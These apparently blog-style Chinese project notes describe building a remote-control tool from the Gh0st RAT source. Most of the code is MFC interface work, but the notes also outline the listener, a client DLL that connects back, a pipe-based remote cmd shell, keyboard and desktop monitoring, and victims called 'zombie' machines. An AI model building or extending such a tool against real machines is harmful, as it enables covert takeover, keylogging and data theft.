基于Gh0st的远控项目笔记 花了些时间来完成的一个项目,大部分功能都实现了,并且修改了小部分东西。
教程挺老了,但是整体代码的框架是很牛逼的,虽然大部分都是直接搬教程的代码,但是整体流程走下来还是学到很多东西。
完成后的github链接:https://github.com/The-Itach1/MyGh0st
part1-环境配置 VS环境配置 需要下面两个配置,主要用于MFC项目。
创建MFC对话框程序 创建MFC应用程序,基于对话框,在静态库中使用MFC。 然后属性选择多字符集。
part2-客户端界面的设计和编写 添加两个List Control 先删除原窗口自带的一些控件,然后调整主窗口的大小,并且添加最大化,最小化功能。
删除原有控件Del就行,最大化和最小化主窗口,设置Maxximize Box和Minximize Box。
使用工具栏添加两个List Control,主要解决的问题是如何让两个控件跟着主窗口的缩放而缩放。
方法是采用OnSize,对主窗口设置一个针对于WM_SIZE的消息处理函数OnSize,这样就可以获得窗口变换时的长宽,然后再根据偏移设置两个控件的大小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void CMyRemoteDlg::OnSize (UINT nType, int cx, int cy) { CDialogEx::OnSize(nType, cx, cy); if (m_CList_Online.m_hWnd != NULL ) { CRect rc; rc.left = 1 ; rc.top = 90 ; rc.right = cx - 1 ; rc.bottom = cy - 200 ; m_CList_Online.MoveWindow(rc); } if (m_CList_Message.m_hWnd != NULL ) { CRect rc; rc.left = 1 ; rc.top = cy - 196 ; rc.right = cx - 1 ; rc.bottom = cy - 20 ; m_CList_Message.MoveWindow(rc); } }
接下来还有一个小问题,就是在未变动窗口时,可能控件的位置不是太理想,这时候可以采取窗口初始化,也就是在BOOL CMyRemoteDlg::OnInitDialog()里面加入对主窗口初始化的代码,然后就也会触发WM_SIZE事件,然后进入OnSize函数,也对控件进行初始化
1 2 3 4 5 6 7 8 9 CRect crect; GetWindowRect(&crect); crect.bottom += 20 ; MoveWindow(crect); return TRUE;
阶段成品样子
给列表添加变量 这部分主要是添加报表,类似于表格,两个列表控件添加的报表不同,但是操作一样。
首先修改两个列表控件的view属性为Report。
然后我们需要先思考好每个列表控件需要添加什么列名。
第一个控件:0IP 1所在区域 2计算机名/备注 3操作系统 4CPU 5摄像头 6Ping
第二个控件:0信息类型 1时间 2信息内容
使用列表控件的类函数添加新列,CListCtrl::InsertColumn
int InsertColumn(
int nCol,
const LVCOLUMN* pColumn);
int InsertColumn(
int nCol, //新列的索引。
LPCTSTR lpszColumnHeading, //包含列标题的字符串的地址。
int nFormat = LVCFMT_LEFT, //整数,用于指定列的对齐方式。 可以是以下值之一: LVCFMT_LEFT 、 LVCFMT_RIGHT 或 LVCFMT_CENTER 。
int nWidth = -1, //列的宽度(以像素为单位)。 如果此参数为-1,则不设置列宽。
int nSubItem = -1); //与该列关联的子项的索引。 如果此参数为-1,则没有子项与该列关联。
然后为了方便我们编写代码,我们构造一个结构体来保存列的部分数据
1 2 3 4 5 6 7 typedef struct { char * title; int nWidth; }COLUMNSTRUCT;
然后就是给数据,具体宽度根据自己的界面设计来定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 COLUMNSTRUCT Array_Column_Online[] = { {"IP" , 225 }, {"区域" , 200 }, {"计算机名/备注" , 200 }, {"操作系统" , 200 }, {"CPU" , 150 }, {"摄像头" , 150 }, {"PING" , 150 } }; int a = 0 ;COLUMNSTRUCT Array_Column_Message[] = { {"信息类型" , 200 }, {"时间" , 400 }, {"信息内容" , 675 } }; int Array_Column_Online_lenth = 7 ;int Array_Column_Message_lenth = 3 ;
然后使用InsertColumn进行插入新列。这里单独创建一个函数来干这件事。视图->类视图->选择类->添加->添加函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int CMyRemoteDlg::InitList () { int i = 0 ; for (i = 0 ; i < Array_Column_Online_lenth; i++) { m_CList_Online.InsertColumn(i, Array_Column_Online[i].title, LVCFMT_CENTER, Array_Column_Online[i].nWidth); } for (i = 0 ; i < Array_Column_Message_lenth; i++) { m_CList_Message.InsertColumn(i, Array_Column_Message[i].title, LVCFMT_CENTER, Array_Column_Message[i].nWidth); } return 0 ; }
阶段成品展示。
让列表的列能随窗口的变化而变化 之前我们完成的代码,每一列的宽度不能随主窗口的变化而变化,这一节就是来解决这个问题。
同样主窗口变化的事件还是WM_SIZE,所以我们还是在OnSize函数中对列宽进行操作,需要用到SetColumnWidth 。
1 2 3 4 BOOL SetColumnWidth ( int nCol, int cx) ;
所以我们只需要求出列的新宽度即可,也就是(列原长度/列原总长度)* 新主窗口宽度。一个简单的数学问题。
先定义两个变量储存列原总长度。
//初始化列的总长度
int Column_Online_lenth = 0;
int Column_Message_lenth = 0;
然后在initlist中,利用for循环求出两个变量的具体值。
然后在onsize中进行计算修改,需要注意的点是,for循环需要包含在if条件中,也就是当这个窗口的句柄不为0,即列表窗口存在时才进行此操作。如果放在if外,会先执行OnSize函数,然后由于宽度为0,造成除0异常。还有一点就是需要用double计算,因为c语言中的除法只会取整,造成很大的误差。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 void CMyRemoteDlg::OnSize (UINT nType, int cx, int cy) { CDialogEx::OnSize(nType, cx, cy); int i; double dcx = cx-2 ; if (m_CList_Online.m_hWnd != NULL ) { CRect rc; rc.left = 1 ; rc.top = 90 ; rc.right = cx - 1 ; rc.bottom = cy - 200 ; m_CList_Online.MoveWindow(rc); for (i = 0 ; i < Array_Column_Online_nums; i++) { double dd = Array_Column_Online[i].nWidth; dd /= Column_Online_lenth; dd *= dcx; int NewWidth = (int )dd; m_CList_Online.SetColumnWidth(i, NewWidth); } } if (m_CList_Message.m_hWnd != NULL ) { CRect rc; rc.left = 1 ; rc.top = cy - 196 ; rc.right = cx - 1 ; rc.bottom = cy - 20 ; m_CList_Message.MoveWindow(rc); for (i = 0 ; i < Array_Column_Message_nums; i++) { double dd = Array_Column_Message[i].nWidth; dd /= Column_Message_lenth; dd *= dcx; int NewWidth = (int )dd; m_CList_Message.SetColumnWidth(i, NewWidth); } } }
阶段成果展示 缩小一点看看。
添加行信息 这部分主要是学习如何向列表中添加行信息。
需要使用到InsertItem ,向列表视图控件中插入项。然后向子列中加入或修改数据,SetItemText ,更改列表视图项或子项的文本。
int InsertItem(
int nItem, //要插入的项的索引。第几行
LPCTSTR lpszItem); //包含项标签的字符串的地址,简单说就是第0列的数据
BOOL SetItemText(
int nItem, //要插入的项的索引。第几行
int nSubItem, //第几个子列
LPCTSTR lpszText); //数据
我们先对Online列表写一个添加数据的函数。由于有7个子列,我们传入7个字符型参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 enum { ONLINELIST_IP = 0 , ONLINELIST_ADDR, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_VIDEO, ONLINELIST_PING }; void CMyRemoteDlg::Add_Online_Message (LPCTSTR strIP, LPCTSTR strAddr, LPCTSTR strPCName, LPCTSTR strOS, LPCTSTR strCPU, LPCTSTR strVideo, LPCTSTR strPing) { m_CList_Online.InsertItem(0 , strIP); m_CList_Online.SetItemText(0 , ONLINELIST_ADDR, strAddr); m_CList_Online.SetItemText(0 , ONLINELIST_COMPUTER_NAME, strPCName); m_CList_Online.SetItemText(0 , ONLINELIST_OS, strOS); m_CList_Online.SetItemText(0 , ONLINELIST_CPU, strCPU); m_CList_Online.SetItemText(0 , ONLINELIST_VIDEO, strVideo); m_CList_Online.SetItemText(0 , ONLINELIST_PING, strPing); }
这里主要是讲一下为什么要使用枚举变量,我们先假设不使用枚举变量。那么我们添加数据的代码将如下。
m_CList_Online.SetItemText(0, 1, strAddr);
m_CList_Online.SetItemText(0, 2, strPCName);
m_CList_Online.SetItemText(0, 3, strOS);
m_CList_Online.SetItemText(0, 4, strCPU);
m_CList_Online.SetItemText(0, 5, strVideo);
m_CList_Online.SetItemText(0, 6, strPing);
然后假设我们现在要删除计算机名称这一列,我们就必须删除删除InitList中的创建代码和修改2后面的所有行。
但是如果使用枚举变量,我们就只用删除InitList中的创建代码和下面的两句话,不用对代码做出太大的改动。
ONLINELIST_COMPUTER_NAME, //计算机名/备注
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName);
同理我们对日志消息列表写一个添加数据的函数,由于变量太少,就不采用枚举了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void CMyRemoteDlg::Add_Log_Message (BOOL IsSuccess, LPCTSTR strLogMsg) { CString strTime, strIsSuccess; CTime t = CTime::GetCurrentTime(); strTime = t.Format("%H:%M:%S" ); if (IsSuccess) { strIsSuccess = "Success" ; } else { strIsSuccess = "Failed" ; } m_CList_Message.InsertItem(0 , strIsSuccess); m_CList_Message.SetItemText(0 , 1 , strTime); m_CList_Message.SetItemText(0 , 2 , strLogMsg); }
然后产生了一个问题,插入数据时都是先InsertItem插入第一个子列,SetItemText后面的子列,不能全部使用SetItemText。
https://blog.csdn.net/u013050589/article/details/20704625 看了文章后,发现说简单点,就是必须先要申请了行,才可以向后面的子列添加数据,并且在申请行的同时,可以对第一个子列进行赋值。随后我又测试了几组数据。
m_CList_Message.InsertItem(0, strIsSuccess);
m_CList_Message.SetItemText(0, 1, strTime);
m_CList_Message.SetItemText(0, 2, strLogMsg);
m_CList_Message.InsertItem(1, strIsSuccess);
m_CList_Message.SetItemText(1, 1, strTime);
m_CList_Message.SetItemText(1, 2, strLogMsg);
Success time xxx
Success time xxx
//m_CList_Message.InsertItem(0, strIsSuccess);
//m_CList_Message.SetItemText(0, 1, strTime);
//m_CList_Message.SetItemText(0, 2, strLogMsg);
m_CList_Message.InsertItem(1, strIsSuccess);
m_CList_Message.SetItemText(1, 1, strTime);
m_CList_Message.SetItemText(1, 2, strLogMsg);
Success
m_CList_Message.InsertItem(0, strIsSuccess);
//m_CList_Message.SetItemText(0, 1, strTime);
//m_CList_Message.SetItemText(0, 2, strLogMsg);
m_CList_Message.InsertItem(1, strIsSuccess);
m_CList_Message.SetItemText(1, 1, strTime);
m_CList_Message.SetItemText(1, 2, strLogMsg);
Success
Success time xxx
可以发现似乎不能跳过前面的行,直接对某一行进行给数据。
然后写个测试函数,试试能不能使用这两个函数。
1 2 3 4 5 6 7 void CMyRemoteDlg::test () { Add_Online_Message("192.168.0.1" , "本机局域网" , "Lang" , "Windows7" , "2.2GHZ" , "有" , "123232" ); Add_Log_Message(true , "软件初始化成功..." ); }
最后就是如果想点击时整个列都是选中状态,在InitList中添加下面代码。
1 2 3 4 m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT); m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
阶段成果展示
给Online列表添加菜单栏 首先需要添加一个菜单栏资源,资源视图->右键->添加资源->Menu。然后设计菜单,修改名称这些。
然后就是给Online列表设置一个右鼠标点击的事件处理函数,用来弹出菜单栏,只不过需要区别是否点击到有效项上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 void CMyRemoteDlg::OnNMRClickOnline (NMHDR* pNMHDR, LRESULT* pResult) { LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast <LPNMITEMACTIVATE>(pNMHDR); CMenu Menu; Menu.LoadMenuA(IDR_MENU_ONLINE); CMenu* pMenu = Menu.GetSubMenu(0 ); int M_count = pMenu->GetMenuItemCount(); CPoint Point; GetCursorPos(&Point); if (m_CList_Online.GetSelectedCount() == 0 ) { for (int i = 0 ; i < M_count; i++) { pMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); } } pMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this ); *pResult = 0 ; }
阶段成果展示 不选择项时,菜单选项全部为灰色
为菜单选项添加处理函数 对于各个功能函数,现在肯定的无法添加具体代码的,只能添加一个测试代码,主要还是为断开连接,设计一个删除项的功能。
需要用到的两个函数。
deleteitem 从列表视图控件中删除项。
BOOL DeleteItem(int nItem);
nItem
指定要删除的项的索引。
GetSelectionMark 检索列表视图控件的选择标记。
int GetSelectionMark();
返回值:
从零开始的选择标记,如果没有选择标记,则为-1。
如果是想全部删除可以采用下面的代码:
1 2 3 4 5 6 7 8 9 int All_Count = m_CList_Online.GetItemCount();int i;for (i = 0 ; i < All_Count; i++){ m_CList_Online.DeleteItem(0 ); }
但是我们往往是想删除指定的行。
1 2 3 4 int index= m_CList_Online.GetSelectionMark();m_CList_Online.DeleteItem(index);
然后我们需要添加一个删除日志,日志消息需要是断开连接设备的ip信息,我们使用GetItemText来获取。注意获取ip信息需要在所选项删除前获取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void CMyRemoteDlg::OnOnlineDelete () { CString strIp; int index= m_CList_Online.GetSelectionMark(); strIp = m_CList_Online.GetItemText(index, ONLINELIST_IP); m_CList_Online.DeleteItem(index); strIp += "断开连接" ; Add_Log_Message(true , strIp); }
添加主对话框菜单和部分处理函数 还是需要先设计菜单。添加一个资源就行。
然后是展示菜单,这里使用的函数和之前Online的菜单有点不同。
LoadMenuA ,不是CMenu类中的LoadMenu。从与应用程序实例关联的可执行 (.exe) 文件中加载指定的菜单资源。
HMENU LoadMenuA(
[in, optional] HINSTANCE hInstance, //包含要加载的菜单资源的模块的句柄。
[in] LPCSTR lpMenuName //菜单资源的名称。
);
SetMenu ,将新菜单分配给指定的窗口。
BOOL SetMenu(
[in] HWND hWnd, //要将菜单分配到的窗口的句柄。
[in, optional] HMENU hMenu //新菜单的句柄。
);
DrawMenuBar ,重绘指定窗口的菜单栏。
BOOL DrawMenuBar(
[in] HWND hWnd //要重绘其菜单栏的窗口的句柄。
);
这里添加一个函数去实现,使代码好看一点
1 2 3 4 5 6 7 8 9 10 void CMyRemoteDlg::Add_Main_Menu () { HMENU Main_Menu; Main_Menu=LoadMenuA(NULL , MAKEINTRESOURCE(IDR_MENU_MAIN)); ::SetMenu(this ->GetSafeHwnd(), Main_Menu); ::DrawMenuBar(this ->GetSafeHwnd()); }
然后就是添加菜单选项的消息处理函数了。
退出。PostMessage函数。
1 2 3 4 5 6 7 void CMyRemoteDlg::OnMainClose () { PostMessage(WM_CLOSE, 0 , 0 ); }
然后就是关于了,实际上这个项目创建的时候,就生成了一个类已经有了这个函数,只需要我们去调用。需要做的就是根据自己的情况去修改下界面,ID为IDD_ABOUTBOX,然后类名为为CAboutDlg。
//关于选项处理函数
void CMyRemoteDlg::OnMainAbout()
{
// TODO: 在此添加命令处理程序代码
//调用已有的关于函数
CAboutDlg AboutDlg;
AboutDlg.DoModal();
}
阶段成品展示。
添加状态栏 在主窗口底部添加一个状态栏。
首先需要在Sting Table里面添加字符串。
然后定义数组,存放添加的字符串的ID,如果要多个状态栏就需要添加多个字符串。
static UINT indicators[] = {
IDR_STATUSBAR_STRING
};
然后直接上函数,基本上都是一套流程,需要提前定义一个状态栏变量StatusBar m_StatusBar。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void CMyRemoteDlg::Add_status_bar () { if (!m_StatusBar.Create(this ) || !m_StatusBar.SetIndicators(indicators, sizeof (indicators) / sizeof (UINT))) { TRACE0("Can't create status bar\n" ); return ; } CRect rc; ::GetWindowRect(m_StatusBar.m_hWnd, rc); m_StatusBar.MoveWindow(rc); }
这时候我们,并没有设置好位置,但是没什么关系,我们在OnSize函数中设置下就行,还能随主窗口变换而变换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (m_StatusBar.m_hWnd != NULL ){ CRect rc; rc.left = 0 ; rc.top = cy - 20 ; rc.right = cx; rc.bottom = cy; m_StatusBar.MoveWindow(rc); m_StatusBar.SetPaneInfo(0 , m_StatusBar.GetItemID(0 ), SBPS_POPOUT, cx-10 ); }
需要提一下的是SetPaneInfo函数,第一个参数就是那个数组的某个index,然后第二个参数可以通过GetItemID得到。
最后就是添加状态栏显示的内容了,我们需要显示的是当前连接的个数,然后显示的函数是CStatusBar::SetPaneText ,可以同过添加日志消息的那个函数的参数来得到个数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 CString strStatusMsg; if (strLogMsg.Find("上线" ) > 0 ) { Online_Pc_Count++; } else if (strLogMsg.Find("下线" ) > 0 ){ Online_Pc_Count--; } else if (strLogMsg.Find("断开" ) > 0 ){ Online_Pc_Count--; } Online_Pc_Count = (Online_Pc_Count <= 0 ? 0 : Online_Pc_Count); strStatusMsg.Format("有%d个主机在线" , Online_Pc_Count); m_StatusBar.SetPaneText(0 , strStatusMsg);
阶段成果展示。
添加功能图标 这部分最费力的还是制作自己个性化的图标。
先在资源创建一个ToolBar用来构造工具栏框架,这里是13个48*48的,9到10中间空一个,然后就是创建一个位图资源,用来做工具栏的底,要不然没图标,只有框,不好看,我这里是直接学着视频中的图片,做了个差不多的。
然后就是一系列操作了,这里视频中也是直接使用了Gh0st中的一个写好的类,我们直接用就行。
流程为:
创造并加载工具栏,CreateEx,LoadToolBar
调用TrueColorToolBar.h提供的LoadTrueColorToolBar,用来加载分割位图资源,并且上色。
设置工具栏位置,RECT,MoveWindow
工具栏下方添加文字,SetButtonText
RepositionBars显示工具栏
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 void CMyRemoteDlg::Add_ToolBar () { if (!m_ToolBar.CreateEx(this , TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) || !m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) { TRACE0("Failed to create toolbar\n" ); return ; } m_ToolBar.ModifyStyle(0 , TBSTYLE_FLAT); m_ToolBar.LoadTrueColorToolBar ( 48 , IDB_BITMAP_MAIN, IDB_BITMAP_MAIN, IDB_BITMAP_MAIN ); RECT rt, rtMain; GetWindowRect(&rtMain); rt.left = 0 ; rt.top = 0 ; rt.bottom = 80 ; rt.right = rtMain.right - rtMain.left +200 ; m_ToolBar.MoveWindow(&rt, TRUE); m_ToolBar.SetButtonText(0 , "终端管理" ); m_ToolBar.SetButtonText(1 , "进程管理" ); m_ToolBar.SetButtonText(2 , "窗口管理" ); m_ToolBar.SetButtonText(3 , "桌面管理" ); m_ToolBar.SetButtonText(4 , "文件管理" ); m_ToolBar.SetButtonText(5 , "语音管理" ); m_ToolBar.SetButtonText(6 , "键盘管理" ); m_ToolBar.SetButtonText(7 , "服务管理" ); m_ToolBar.SetButtonText(8 , "注册表管理" ); m_ToolBar.SetButtonText(10 , "参数设置" ); m_ToolBar.SetButtonText(11 , "生成服务端" ); m_ToolBar.SetButtonText(12 , "帮助" ); RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0 ); }
当然同样需要在Onsize设置大小化处理,然后还需要解决有最小化程序崩溃的问题。
后面就是功能问题了,工具栏是没有消息处理的,但是我们可以将其ID改为其对应的菜单栏消息处理ID,就可以完成点击一样有消息处理效果了。一个一个设置就完事了。
阶段成品展示
添加系统托盘 系统托盘,就是出现在我们电脑下面右边的那些图标,点击有效果。
需要用到一个函数Shell_NotifyIcon
//将消息发送到任务栏的状态区域。
BOOL Shell_NotifyIconA(
[in] DWORD dwMessage, //一个值,该值指定此函数要执行的操作。
[in] PNOTIFYICONDATAA lpData //指向 NOTIFYICONDATA 结构的指针。
);
然后在看看PNOTIFYICONDATAA结构体。
//包含系统在通知区域中显示通知所需的信息。
typedef struct _NOTIFYICONDATAA {
DWORD cbSize; //此结构的大小(以字节为单位)。
HWND hWnd; //接收与通知区域中的图标关联的通知的窗口的句柄。 //任务栏图标的应用程序定义的标识符。
UINT uID; //任务栏图标的应用程序定义的标识符。的标志
UINT uFlags; //指示结构的其他成员中哪些包含有效数据的标志
UINT uCallbackMessage; ////托盘事件的消息响应函数
HICON hIcon; //要添加、修改或删除的图标的句柄。
#if ...
CHAR szTip[64]; //标准工具提示的文本
#else
CHAR szTip[128];
#endif
DWORD dwState; //图标的状态。
DWORD dwStateMask; //
CHAR szInfo[256];
union {
UINT uTimeout;
UINT uVersion;
} DUMMYUNIONNAME;
CHAR szInfoTitle[64]; //气球通知的标题
DWORD dwInfoFlags;
GUID guidItem;
HICON hBalloonIcon;
} NOTIFYICONDATAA, *PNOTIFYICONDATAA;
我们照样单独新建一个函数去实现这个功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void CMyRemoteDlg::Add_System_Tray () { NotifIconDate.cbSize = sizeof (NOTIFYICONDATA); NotifIconDate.hWnd = this ->m_hWnd; NotifIconDate.uID = IDR_MAINFRAME; NotifIconDate.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; NotifIconDate.uCallbackMessage = UM_ICONNOTIFY; NotifIconDate.hIcon = m_hIcon; CString str = "MyRemote远程协助软件" ; lstrcpyn(NotifIconDate.szTip, (LPCSTR)str, sizeof (NotifIconDate.szTip) / sizeof (NotifIconDate.szTip[0 ])); Shell_NotifyIcon(NIM_ADD, &NotifIconDate); }
气泡有了,图标也加载好了,就只剩回调消息函数了,我们需要自己定义一个,MFC自定义消息
照着网站中的操作做就行。
最后是解决一个窗口关闭,托盘图标仍然存在的情况。解决办法,给主窗口添加一个WM_CLOSE的消息处理即可。
1 2 3 4 5 6 7 8 void CMyRemoteDlg::OnClose () { Shell_NotifyIcon(NIM_DELETE, &NotifIconDate); CDialogEx::OnClose(); }
个性化设置 主要是我自己想添加一些背景图片。
part3-Socket服务端数据传输内核 直接套用其相关的类 复制,然后修改到不报错就行,过程还是比较多,慢慢弄。
Gh0st的Socket数据传输代码分析 数据传输用到的类就是CIOCPServer,里面有Socket的绑定,和所有从客户端传来的消息的处理函数。
通过后面的功能来学习数据传输。
利用G0hst的代码绑定并监听指定端口 MyRemoteDlg.cpp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 void CALLBACK CMyRemoteDlg::NotifyProc (LPVOID lpParam, ClientContext* pContext, UINT nCode) { try { switch (nCode) { case NC_CLIENT_CONNECT: break ; case NC_CLIENT_DISCONNECT: break ; case NC_TRANSMIT: break ; case NC_RECEIVE: break ; case NC_RECEIVE_COMPLETE: break ; } } catch (...) {} } void CMyRemoteDlg::Activate (UINT nPort, UINT nMaxConnections) { CString str; if (m_iocpServer != NULL ) { m_iocpServer->Shutdown(); delete m_iocpServer; } m_iocpServer = new CIOCPServer; if (m_iocpServer->Initialize((NOTIFYPROC)NotifyProc, NULL , 100000 , nPort)) { char hostname[256 ]; gethostname(hostname, sizeof (hostname)); HOSTENT* host = gethostbyname(hostname); if (host != NULL ) { for (int i = 0 ; ; i++) { str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]); if (host->h_addr_list[i] + host->h_length >= host->h_name) break ; str += "/" ; } } str.Format("监听端口: %d成功" , nPort); Add_Log_Message(true , str); } else { str.Format("监听端口: %d失败" , nPort); Add_Log_Message(true , str); } }
MyRemoteDlg.h
protected:
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
void Activate(UINT nPort, UINT nMaxConnections);
注意添加上#include “include/IOCPServer.h”头文件,因为具体的实现是调用了这个类的成员函数。
添加ini配置文件 为了方便修改端口等信息,我们采用读取ini配置文件的方式来完成这件事。并且我们会添加一个对话框来实现值的设定。
同样我们使用了G0hst中一个写好的类,InFile.cpp中的CIniFile类。其本质是通过构造函数创建了一个ini配置文件,然后是利用GetPrivateProfileInt,GetPrivateProfileString,WritePrivateProfileString等API函数操作ini文件,或者读取ini文件中的一些内容。
前面的小结已经创建了Activate函数,所以我们只需要提取ini文件里面的值然后作为参数即可,但是我们为了能够直接在程序中修改端口port,所以就新建了一个对话框,所以为了使所有的对话框能够使用CIniFile变量,我们将其定义在MyRemote.h。
然后添加ListenPort函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void CMyRemoteDlg::ListenPort () { int nPort = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings" , "ListenPort" ); int nMaxConnection = ((CMyRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings" , "MaxConnection" ); if (nPort == 0 ) nPort = 80 ; if (nMaxConnection == 0 ) nMaxConnection = 10000 ; Activate(nPort, nMaxConnection); }
对话框的实现,添加一个对话框资源,然后添加上两个Edit控件,让我们可以输入port和max。然后给确定按钮添加一个Onclick事件处理函数,修改ini文件。
1 2 3 4 5 6 7 8 9 10 11 void CSettingDlg::OnBnClickedOk () { UpdateData(TRUE); ((CMyRemoteApp*)AfxGetApp())->m_IniFile.SetInt("Settings" , "ListenPort" , m_nListernProt); ((CMyRemoteApp*)AfxGetApp())->m_IniFile.SetInt("Settings" , "MaxConnection" , m_nMax_Connect); MessageBox("设置成功,重启本程序后生效!" ); CDialogEx::OnOK(); }
part4-socket客户端的数据传输过程 套用Gh0st源码编译dll文件 过程较多,慢慢调试。
同样理解Gh0st的socket内核 我们加载了很多Gh0st的类,用于通信实际上就是ClienSocket类,其他部分类都是一个类对应一个功能,并且设置了相应的接收消息函数。
通过后面的功能来学习数据传输。
添加一个导出函数作为Client的连接函数 添加一个TestRun的导出函数
1 2 3 4 5 6 7 8 9 10 extern "C" __declspec(dllexport) void TestRun (char * strHost, int nPort) { strcpy (g_strHost, strHost); g_dwPort = nPort; HANDLE hThread = MyCreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0 , NULL ); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); }
本质是调用dllmain中的main函数。
编写一个exe使用dll文件的导出函数 看看导出函数可不可用,并调试dll文件,在dll的属性中设置目标exe的路径即可调试dll。
使用LoadLibrary,和GetProcAddress来得到导出函数地址,然后调用测试是否能够上线。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <Windows.h> #include <stdio.h> int main () { char strHost[] = "127.0.0.1" ; int nPort = 7000 ; HMODULE hServerDll = LoadLibrary("..\\..\\bin\\server\\MainDll.dll" ); typedef void (_cdecl* TestRunT) (char * strHost, int nPort) ; TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestRun" ); if (pTestRunT != NULL ) { pTestRunT(strHost, nPort); } while (1 ) { } }
服务端添加上线信息 之前都只是测试了下能不能向列添加信息,这次是真的添加上线机的相关信息。
传输过程
客户端dll文件的main函数,定义了CClientSocket的一个变量后,调用connect函数。
后面有一个sendLoginInfo()函数,这个函数定义了一个LOGININFO结构体变量,然后对其调用相关函数附值,然后send发送给控制服务端,其中包含了TOKEN_LOGIN这个消息。
控制服务端的NotifyProc函数接收到消息后,case判断到TOKEN_LOGIN,判断上线机器个数未达到最大,然后向控制端的主对话框发送WM_ADDTOLIST消息,调用自定义的WM_ADDTOLIST处理函数OnOnlineAddToList。
OnOnlineAddToList()函数,会将传入控制服务端的消息,也就肉鸡的机器信息经过一些处理后,添加到上线列表控件中。
part5-终端管理 之前学习过如何实现远程cmd,https://the_itach1.gitee.io/2022/01/31/Windows-Hack-Programming/ ,但实际上很不健全。
客户端代码 即为ShellManager.cpp。
其内部实际上就是创建了管道和cmd.exe进程,来进行命令的执行和读取。当然包括了发送信息和接收信息的处理函数。
和之前学习的cmd有点不同,这个里面有两个管道,实际上也不难理解,之前我写的远程cmd的输入命令是设置好的,所以只需要输出管道就行,但是这个的输入命令是由控制客户端传入的,所以还需要一个输入管道。
控制服务端代码 即为CShellDlg.cpp。
其本质是个带有EDIT控件的对话框,EDIT控件就是用来展示终端的,这个类中也包含了读取消息和发送消息的两个函数。
传输过程 这里直接一步步更整个终端管理的传输过程吧。
客户机上线,会向服务端发送上线机的信息,并创建ClientSocket变量和CKernelManager变量,并使用setManagerCallBack将创建的ClientSocket变量的m_pManager成员设置为CKernelManager,这就意味着后面调用OnReceive函数将是调用CKernelManager的OnReceive处理。
控制服务端点击终端管理,触发菜单栏OnOnlineCmd处理函数,调用SendSelectCommand函数,向客户机发送了COMMAND_SHELL这个消息以及发送了存储着上线客户机的信息的结构体pContext。
客户端在链接到控制服务端后会创建一个WorkThread的线程,然后进行接收服务端发过来的数据,调用Onread函数。
然后Onread函数中,在解压数据等操作后,会调用Manager->OnReceive()函数,这个函数实际上是Manager里面的一个虚函数,只有在其子类中才有具体实现,也就是多态,根据第一步的操作,我们知道他将会调用CKernelManager的OnReceive函数处理。
在CKernelManager的OnReceive函数中,我们实际上可以看到很多switch case,分别对应着控制服务端的各种功能,终端管理接收的消息就是COMMAND_SHELL,然后就会创建一个对应功能的线程,来处理。
终端管理线程的函数是Loop_ShellManager,查看其内部,可以看到先是链接了控制服务端,然后创建了CShellManager这个类变量,创建时,会调用Manager的构造函数,m_pClient->setManagerCallBack(this);,所以这时候接收消息的函数就变成了CShellManager类中的OnReceive(),CShellManager这个类就是实现终端管理功能的具体实现。
CShellManager的构造函数,创建管道,创建cmd进程,然后向控制服务端发送TOKEN_SHELL_START消息,表示准备完毕,然后等待控制端的处理,控制端的终端管理对话框是否准备完毕。
